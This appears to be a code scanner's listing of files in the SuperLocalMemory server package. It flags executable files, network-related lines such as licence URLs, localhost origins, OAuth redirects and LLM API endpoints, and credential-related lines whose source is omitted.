src/superlocalmemory/server/middleware/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/middleware/security_headers.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/mode_selection.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/mutation_gate.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/open_files.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/ops_scope.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/origin.py
- Executable scriptline 1
Executable file - Network accessline 12
if not 1 <= port <= 65535 or port == 8767: return () return (f"http://localhost:{port}", f"http://127.0.0.1:{port}", - Network accessline 13
return () return (f"http://localhost:{port}", f"http://127.0.0.1:{port}", f"http://[::1]:{port}") - Network accessline 14
return (f"http://localhost:{port}", f"http://127.0.0.1:{port}", - Network accessline 15
f"http://[::1]:{port}") - Network accessline 21
return False try: requested = urlsplit(f"http://{host_header}") - Network accessline 22
try: requested = urlsplit(f"http://{host_header}") return ( - Network accessline 23
requested = urlsplit(f"http://{host_header}")
src/superlocalmemory/server/profile_lease.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/profile_runtime.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/rbac_enforce.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/read_gates.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/read_targets.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/recall_admission.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/recall_cache.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory | https://qualixar.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory | https://qualixar.com """Short-lived recall answers and one shared run for identical questions. - Network accessline 3
# Part of SuperLocalMemory | https://qualixar.com - Access to secretsline 47
[Credential-related source omitted]
src/superlocalmemory/server/recall_core.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory | https://qualixar.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory | https://qualixar.com - Access to secretsline 50
[Credential-related source omitted]
src/superlocalmemory/server/recall_deadline.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/recall_dispatch.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/recall_fallback.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/recall_health.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/recall_ingress.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/recall_serializer.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/recall_warmup.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/recovery_inventory.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/recovery_marker.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/remember_completion.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/remote_access.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Access to secretsline 90
[Credential-related source omitted] - Access to secretsline 101
[Credential-related source omitted] - Access to secretsline 115
[Credential-related source omitted] - Access to secretsline 116
[Credential-related source omitted] - Access to secretsline 119
[Credential-related source omitted] - Access to secretsline 120
[Credential-related source omitted]
src/superlocalmemory/server/remote_access_state.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/remote_conn_guard.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/remote_keys.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/remote_listener.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Access to secretsline 169
[Credential-related source omitted] - Access to secretsline 191
[Credential-related source omitted] - Network accessline 291
def bind_socket(host: str, port: int) -> socket.socket: family = socket.AF_INET6 if ":" in host else socket.AF_INET sock = socket.socket(family, socket.SOCK_STREAM) - Network accessline 292
family = socket.AF_INET6 if ":" in host else socket.AF_INET sock = socket.socket(family, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - Network accessline 293
sock = socket.socket(family, socket.SOCK_STREAM)
src/superlocalmemory/server/remote_profile_binding.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/remote_redaction.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Access to secretsline 96
[Credential-related source omitted] - Access to secretsline 97
[Credential-related source omitted]
src/superlocalmemory/server/remote_tool_policy.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/route_mutations.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/routed_profile.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/routes/__init__.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com # SuperLocalMemory V3 - API Routes Package - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/abstraction.py
src/superlocalmemory/server/routes/adapters.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/agents.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """SuperLocalMemory V3 - Agent Registry + Trust Routes - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/answer_calibration.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/routes/answer_check.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/answer_check_actions.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/answer_check_history.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/answer_check_support.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/backup.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """SuperLocalMemory V3.4.10 "Fortress" - Backup Routes - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 184
class GDriveConnectRequest(BaseModel): auth_code: str = Field(..., min_length=1) redirect_uri: str = Field(default="http://localhost:8765/api/backup/oauth/callback") - Network accessline 185
auth_code: str = Field(..., min_length=1) redirect_uri: str = Field(default="http://localhost:8765/api/backup/oauth/callback") class GDriveClientConfig(BaseModel): - Network accessline 186
redirect_uri: str = Field(default="http://localhost:8765/api/backup/oauth/callback") - Access to secretsline 189
[Credential-related source omitted] - Access to secretsline 289
[Credential-related source omitted] - Access to secretsline 387
[Credential-related source omitted] - Network accessline 483
<p class="sub">Google Drive backup requires a one-time OAuth setup. Follow these steps:</p> <div class="step"><span class="step-num">1</span> <span class="step-text">Go to <a href="https://console.cloud.google.com/apis/credentials" target=" - Network accessline 484
<div class="step"><span class="step-num">1</span> <span class="step-text">Go to <a href="https://console.cloud.google.com/apis/credentials" target="_blank">Google Cloud Console</a> and create a project</span></div> <div class="step"><span c - Network accessline 485
<span class="step-text">Go to <a href="https://console.cloud.google.com/apis/credentials" target="_blank">Google Cloud Console</a> and create a project</span></div> - Network accessline 491
<span class="step-text">Go to <strong>Credentials</strong> → Create OAuth Client → <strong>Web application</strong></span></div> <div class="step"><span class="step-num">5</span> <span class="step-text">Add redirect URI: <code>htt - Network accessline 492
<div class="step"><span class="step-num">5</span> <span class="step-text">Add redirect URI: <code>http://localhost:8765/api/backup/oauth/google/callback</code></span></div> <div class="step" style="border:none"><span class="step-num">6</spa - Network accessline 493
<span class="step-text">Add redirect URI: <code>http://localhost:8765/api/backup/oauth/google/callback</code></span></div> - Network accessline 504
<p style="color:#555;font-size:11px;margin-top:16px;"> Credentials use your OS credential store when available, with a permission-restricted local fallback. Full guide: <a href="https://github.com/qualixar/superlocalmemory/wiki/Cloud-Backup - Network accessline 505
Credentials use your OS credential store when available, with a permission-restricted local fallback. Full guide: <a href="https://github.com/qualixar/superlocalmemory/wiki/Cloud-Backup#google-drive-backup" target="_blank">Cloud Backup Wiki - Network accessline 506
Full guide: <a href="https://github.com/qualixar/superlocalmemory/wiki/Cloud-Backup#google-drive-backup" target="_blank">Cloud Backup Wiki</a> - Network accessline 517
status.textContent = 'Saving...'; try { var tokenResp = await fetch('/internal/token', {credentials: 'same-origin'}); - Network accessline 518
try { var tokenResp = await fetch('/internal/token', {credentials: 'same-origin'}); if (!tokenResp.ok) throw new Error('Could not authorize this dashboard'); - Network accessline 519
var tokenResp = await fetch('/internal/token', {credentials: 'same-origin'}); - Network accessline 521
var tokenData = await tokenResp.json(); if (!tokenData.token) throw new Error('Could not authorize this dashboard'); var resp = await fetch('/api/backup/connect/gdrive/config', { - Network accessline 522
if (!tokenData.token) throw new Error('Could not authorize this dashboard'); var resp = await fetch('/api/backup/connect/gdrive/config', { method: 'POST', credentials: 'same-origin', - Network accessline 523
var resp = await fetch('/api/backup/connect/gdrive/config', { - Access to secretsline 526
[Credential-related source omitted] - Network accessline 548
"redirect_uri": redirect_uri, "response_type": "code", "scope": "openid https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/userinfo.email", - Network accessline 549
"response_type": "code", "scope": "openid https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/userinfo.email", "access_type": "offline", - Network accessline 550
"scope": "openid https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/userinfo.email", - Network accessline 553
"state": state, }) return RedirectResponse(f"https://accounts.google.com/o/oauth2/v2/auth?{params}") - Network accessline 554
}) return RedirectResponse(f"https://accounts.google.com/o/oauth2/v2/auth?{params}") @router.get("/api/backup/oauth/google/callback") - Network accessline 555
return RedirectResponse(f"https://accounts.google.com/o/oauth2/v2/auth?{params}") - Network accessline 609
"state": state, }) return RedirectResponse(f"https://github.com/login/oauth/authorize?{params}") - Network accessline 611
return RedirectResponse(f"https://github.com/login/oauth/authorize?{params}") - Network accessline 643
<div id="status"></div> <p class="hint"> Need a token? <a href="https://github.com/settings/tokens/new?scopes=repo&description=SLM+Backup" target="_blank">Create one here</a> (select <code>repo</code> scope). - Network accessline 644
<p class="hint"> Need a token? <a href="https://github.com/settings/tokens/new?scopes=repo&description=SLM+Backup" target="_blank">Create one here</a> (select <code>repo</code> scope). Your token uses the OS credential store when availa - Network accessline 645
Need a token? <a href="https://github.com/settings/tokens/new?scopes=repo&description=SLM+Backup" target="_blank">Create one here</a> (select <code>repo</code> scope). - Network accessline 658
status.textContent = 'Verifying token and creating repo...'; try { var tokenResp = await fetch('/internal/token', {credentials: 'same-origin'}); - Network accessline 659
try { var tokenResp = await fetch('/internal/token', {credentials: 'same-origin'}); if (!tokenResp.ok) throw new Error('Could not authorize this dashboard'); - Network accessline 660
var tokenResp = await fetch('/internal/token', {credentials: 'same-origin'}); - Network accessline 662
var tokenData = await tokenResp.json(); if (!tokenData.token) throw new Error('Could not authorize this dashboard'); var resp = await fetch('/api/backup/connect/github', { - Network accessline 663
if (!tokenData.token) throw new Error('Could not authorize this dashboard'); var resp = await fetch('/api/backup/connect/github', { method: 'POST', - Network accessline 664
var resp = await fetch('/api/backup/connect/github', { - Access to secretsline 733
[Credential-related source omitted] - Access to secretsline 734
[Credential-related source omitted] - Network accessline 738
resp = httpx.post( - Network accessline 739
[Credential-related source omitted] - Access to secretsline 739
[Credential-related source omitted] - Access to secretsline 740
[Credential-related source omitted] - Access to secretsline 745
[Credential-related source omitted] - Access to secretsline 746
[Credential-related source omitted] - Access to secretsline 749
[Credential-related source omitted]
src/superlocalmemory/server/routes/backup_encryption.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/routes/backup_legacy_verify.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/routes/backup_recovery.py
src/superlocalmemory/server/routes/behavioral.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """SuperLocalMemory V3 - Behavioral Routes - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 534
[Credential-related source omitted]
src/superlocalmemory/server/routes/brain.py
src/superlocalmemory/server/routes/chat.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later — see LICENSE file # Part of SuperLocalMemory v3.4.1 | https://qualixar.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory v3.4.1 | https://qualixar.com - Access to secretsline 208
[Credential-related source omitted] - Access to secretsline 230
[Credential-related source omitted] - Network accessline 246
import os base = api_base or os.environ.get("OLLAMA_HOST", "http://localhost:11434") - Network accessline 247
[Credential-related source omitted] - Access to secretsline 247
[Credential-related source omitted] - Network accessline 259
async with outbound_http.astream_json( "POST", url, payload, timeout=httpx.Timeout(120.0), - Network accessline 260
"POST", url, payload, timeout=httpx.Timeout(120.0), - Access to secretsline 280
[Credential-related source omitted] - Network accessline 286
[Credential-related source omitted] - Access to secretsline 286
[Credential-related source omitted] - Network accessline 287
[Credential-related source omitted] - Network accessline 288
url = api_base or "https://openrouter.ai/api/v1/chat/completions" - Access to secretsline 289
[Credential-related source omitted] - Network accessline 292
url = api_base or "https://api.anthropic.com/v1/messages" - Access to secretsline 294
[Credential-related source omitted] - Network accessline 297
} else: url = api_base or "https://api.openai.com/v1/chat/completions" - Network accessline 298
[Credential-related source omitted] - Network accessline 299
url = api_base or "https://api.openai.com/v1/chat/completions" - Access to secretsline 300
[Credential-related source omitted] - Network accessline 312
async with outbound_http.astream_json( "POST", url, payload, headers=headers, timeout=httpx.Timeout(120.0), - Network accessline 313
"POST", url, payload, headers=headers, timeout=httpx.Timeout(120.0),
src/superlocalmemory/server/routes/compliance.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """SuperLocalMemory V3 - Compliance Routes - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/config_api.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 621
response = httpx.get(f"{base_url.rstrip('/')}/api/tags", timeout=3.0)
src/superlocalmemory/server/routes/connections.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/routes/dashboard_feeds.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/routes/dashboard_tasks.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/routes/data_io.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """SuperLocalMemory V3 - Import/Export Routes - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/embedding_reindex.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 140
[Credential-related source omitted]
src/superlocalmemory/server/routes/entity.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/events.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """SuperLocalMemory V3 - Event Bus Routes - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/evolution.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/export_delivery.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/export_memories.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/facets.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/features.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/helpers.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """SuperLocalMemory V3 - Route Helpers - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/hook_events.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/ingest.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/insights.py
src/superlocalmemory/server/routes/integrity.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/routes/learning.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """SuperLocalMemory V3 - Learning Routes - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/learning_readiness.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/routes/learning_telemetry.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/routes/lifecycle.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """SuperLocalMemory V3 - Lifecycle Routes - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/local_apps.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/routes/media.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/media_dashboard_upload.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/media_upload.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/memories.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """SuperLocalMemory V3 - Memory Routes (AGPL-3.0-or-later). - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 57
[Credential-related source omitted]
src/superlocalmemory/server/routes/memory_health.py
- Executable scriptline 1
Executable file
src/superlocalmemory/server/routes/memory_kinds.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/server/routes/mesh.py
- Network accessline 1
